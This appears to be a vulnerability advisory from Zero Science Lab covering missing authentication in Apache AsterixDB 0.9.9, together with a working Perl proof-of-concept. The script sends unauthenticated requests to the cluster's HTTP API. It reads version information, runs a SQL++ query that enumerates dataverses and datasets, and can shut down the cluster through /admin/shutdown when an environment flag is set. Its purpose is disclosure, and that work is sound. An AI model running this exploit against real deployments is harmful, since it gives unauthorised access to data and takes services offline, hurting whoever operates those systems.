Apache AsterixDB 0.9.9 Missing Authentication

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#!/usr/bin/env perl
#
#
# Apache AsterixDB 0.9.9 Missing Authentication
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://asterixdb.apache.org
# Affected version: 0.9.9
#
# Summary: Apache AsterixDB is a highly scalable data management system that
# can store, index, and manage semi-structured data, e.g., much like MongoDB,
# but it also supports a full-power query language with the expressiveness of
# SQL (and more). Unlike analytics engines like Apache Hive or Apache Spark,
# it stores and manages data, so AsterixDB can exploit its knowledge of data
# partitioning and the availability of indexes to avoid always scanning data
# set(s) to process queries. Somewhat surprisingly, there is no open source
# parallel database system (relational or otherwise) available to developers
# today - AsterixDB aims to fill this need.
#
# Desc: Apache AsterixDB suffers from a missing authentication vulnerability
# on its Cluster Controller HTTP API. Only the user-defined function endpoint
# is wrapped with authentication, while the query service and the /admin/shutdown
# endpoint are exposed with no authentication, so a remote attacker can execute
# SQL++ queries and shut down the cluster with no credentials. This results in
# unauthenticated data access and denial of service.
#
# Tested on:asterix-server-0.9.9
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6028
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6028
#
#
# 13.08.2026
#


use strict;
use warnings;
use HTTP::Tiny;

my $cc = $ARGV[0] // 'http://TARGET:19002';
$cc =~ s{/+$}{};
my $http = HTTP::Tiny->new(timeout => 10, agent => 'zeroscience/1.0');

print "[1] GET /admin/version :\n";
my $v = $http->get("$cc/admin/version");
printf "    HTTP %s  %s\n", $v->{status}, ($v->{content} // '');

print "[2] POST /query/service :\n";
my $sql = 'SELECT dv.DataverseName, ds.DatasetName FROM Metadata.`Dataverse` dv '
        . 'LEFT JOIN Metadata.`Dataset` ds ON ds.DataverseName = dv.DataverseName;';
my $q = $http->post_form("$cc/query/service", { statement => $sql });
printf "    HTTP %s\n    %s\n", $q->{status}, substr($q->{content} // '', 0, 800);

if (($ENV{SHUTDOWN} // '0') eq '1') {
    print "[3] POST /admin/shutdown :\n";
    my $s = $http->post("$cc/admin/shutdown", { content => '' });
    printf "    HTTP %s  %s\n", $s->{status}, ($s->{content} // '');
} else {
    print "[3] POST /admin/shutdown - skipped. Run with SHUTDOWN=1.\n";
}

ZSL-2026-6028: Apache AsterixDB 0.9.9 Missing Authentication

ZSL-2026-6028: Apache AsterixDB 0.9.9 Missing Authentication

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